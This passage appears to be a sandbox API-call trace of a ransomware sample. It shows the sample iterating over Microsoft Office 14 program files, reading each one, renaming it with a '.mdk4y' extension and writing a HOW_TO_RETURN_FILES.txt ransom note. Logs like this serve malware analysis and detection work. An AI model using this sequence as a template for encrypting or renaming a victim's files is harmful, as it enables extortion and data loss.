lpPerformanceCount=0x37dee4*=1828297900000) returned 1 [0207.749] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3902, lpOverlapped=0x0) returned 1 [0207.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298000000) returned 1 [0207.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298000000) returned 1 [0207.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.mdk4y")) returned 1 [0207.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.752] AreFileApisANSI () returned 1 [0207.752] GetACP () returned 0x4e4 [0207.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART5.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART5.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298300000) returned 1 [0207.753] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3dac, lpOverlapped=0x0) returned 1 [0207.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298500000) returned 1 [0207.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298500000) returned 1 [0207.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.mdk4y")) returned 1 [0207.756] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.756] AreFileApisANSI () returned 1 [0207.756] GetACP () returned 0x4e4 [0207.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART6.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART6.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.757] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298700000) returned 1 [0207.757] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7b6, lpOverlapped=0x0) returned 1 [0207.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298900000) returned 1 [0207.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828298900000) returned 1 [0207.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.mdk4y")) returned 1 [0207.761] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.761] AreFileApisANSI () returned 1 [0207.761] GetACP () returned 0x4e4 [0207.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART7.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART7.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828299200000) returned 1 [0207.762] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf24, lpOverlapped=0x0) returned 1 [0207.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828319200000) returned 1 [0207.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828319200000) returned 1 [0207.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.mdk4y")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.964] AreFileApisANSI () returned 1 [0207.964] GetACP () returned 0x4e4 [0207.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART8.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART8.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.965] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828319600000) returned 1 [0207.966] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbfca, lpOverlapped=0x0) returned 1 [0207.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828321400000) returned 1 [0207.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828321400000) returned 1 [0207.985] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.mdk4y")) returned 1 [0207.987] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.987] AreFileApisANSI () returned 1 [0207.987] GetACP () returned 0x4e4 [0207.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART9.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART9.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.987] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828321800000) returned 1 [0207.988] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc696, lpOverlapped=0x0) returned 1 [0208.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828324700000) returned 1 [0208.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828324700000) returned 1 [0208.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.mdk4y")) returned 1 [0208.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0208.019] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0208.020] AreFileApisANSI () returned 1 [0208.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0208.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0208.021] GetFileType (hFile=0x12c) returned 0x1 [0208.022] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.022] AreFileApisANSI () returned 1 [0208.022] GetACP () returned 0x4e4 [0208.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRTVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BRTVIEW.DLLy", lpUsedDefaultChar=0x37dfd8) returned 11 [0208.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828325300000) returned 1 [0208.023] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2d998, lpOverlapped=0x0) returned 1 [0208.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828326600000) returned 1 [0208.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828326600000) returned 1 [0208.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.mdk4y")) returned 1 [0208.040] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.040] AreFileApisANSI () returned 1 [0208.040] GetACP () returned 0x4e4 [0208.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BSTORM.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BSTORM.DLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0208.040] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828327000000) returned 1 [0208.040] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe7380, lpOverlapped=0x0) returned 1 [0208.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828331200000) returned 1 [0208.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828331200000) returned 1 [0208.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.mdk4y")) returned 1 [0208.094] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.094] AreFileApisANSI () returned 1 [0208.094] GetACP () returned 0x4e4 [0208.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CDLMSO.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CDLMSO.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0208.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828332700000) returned 1 [0208.097] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x81d58, lpOverlapped=0x0) returned 1 [0208.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828338400000) returned 1 [0208.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828338400000) returned 1 [0208.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.mdk4y")) returned 1 [0208.164] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.164] AreFileApisANSI () returned 1 [0208.164] GetACP () returned 0x4e4 [0208.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CGMIMP32.HLP", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CGMIMP32.HLP", lpUsedDefaultChar=0x37dfd8) returned 12 [0208.164] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828339500000) returned 1 [0208.165] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x7b09, lpOverlapped=0x0) returned 1 [0208.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828339700000) returned 1 [0208.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828339700000) returned 1 [0208.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.mdk4y")) returned 1 [0208.168] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.168] AreFileApisANSI () returned 1 [0208.168] GetACP () returned 0x4e4 [0208.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CharSetTable.chr", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CharSetTable.chrrce.xsd", lpUsedDefaultChar=0x37dfd8) returned 16 [0208.169] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828340000000) returned 1 [0208.170] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xdcc2, lpOverlapped=0x0) returned 1 [0208.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828343100000) returned 1 [0208.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828343100000) returned 1 [0208.202] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.mdk4y")) returned 1 [0208.204] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.204] AreFileApisANSI () returned 1 [0208.204] GetACP () returned 0x4e4 [0208.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLVIEW.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CLVIEW.EXEle.chr", lpUsedDefaultChar=0x37dfd8) returned 10 [0208.204] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828343500000) returned 1 [0208.205] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x41f78, lpOverlapped=0x0) returned 1 [0208.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828346100000) returned 1 [0208.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828346100000) returned 1 [0208.235] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.mdk4y")) returned 1 [0208.237] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.237] AreFileApisANSI () returned 1 [0208.237] GetACP () returned 0x4e4 [0208.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CMAX20.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CMAX20.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0208.237] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828346900000) returned 1 [0208.239] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xb0578, lpOverlapped=0x0) returned 1 [0208.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828354500000) returned 1 [0208.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828354500000) returned 1 [0208.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.mdk4y")) returned 1 [0208.328] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.328] AreFileApisANSI () returned 1 [0208.328] GetACP () returned 0x4e4 [0208.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CNFNOT32.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CNFNOT32.EXE.chr", lpUsedDefaultChar=0x37dfd8) returned 12 [0208.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828355900000) returned 1 [0208.329] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x37160, lpOverlapped=0x0) returned 1 [0208.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828360500000) returned 1 [0208.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828360500000) returned 1 [0208.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.mdk4y")) returned 1 [0208.379] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.379] AreFileApisANSI () returned 1 [0208.379] GetACP () returned 0x4e4 [0208.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CODEEDIT.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CODEEDIT.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0208.379] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828361000000) returned 1 [0208.381] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xcf88, lpOverlapped=0x0) returned 1 [0208.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828361200000) returned 1 [0208.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828361200000) returned 1 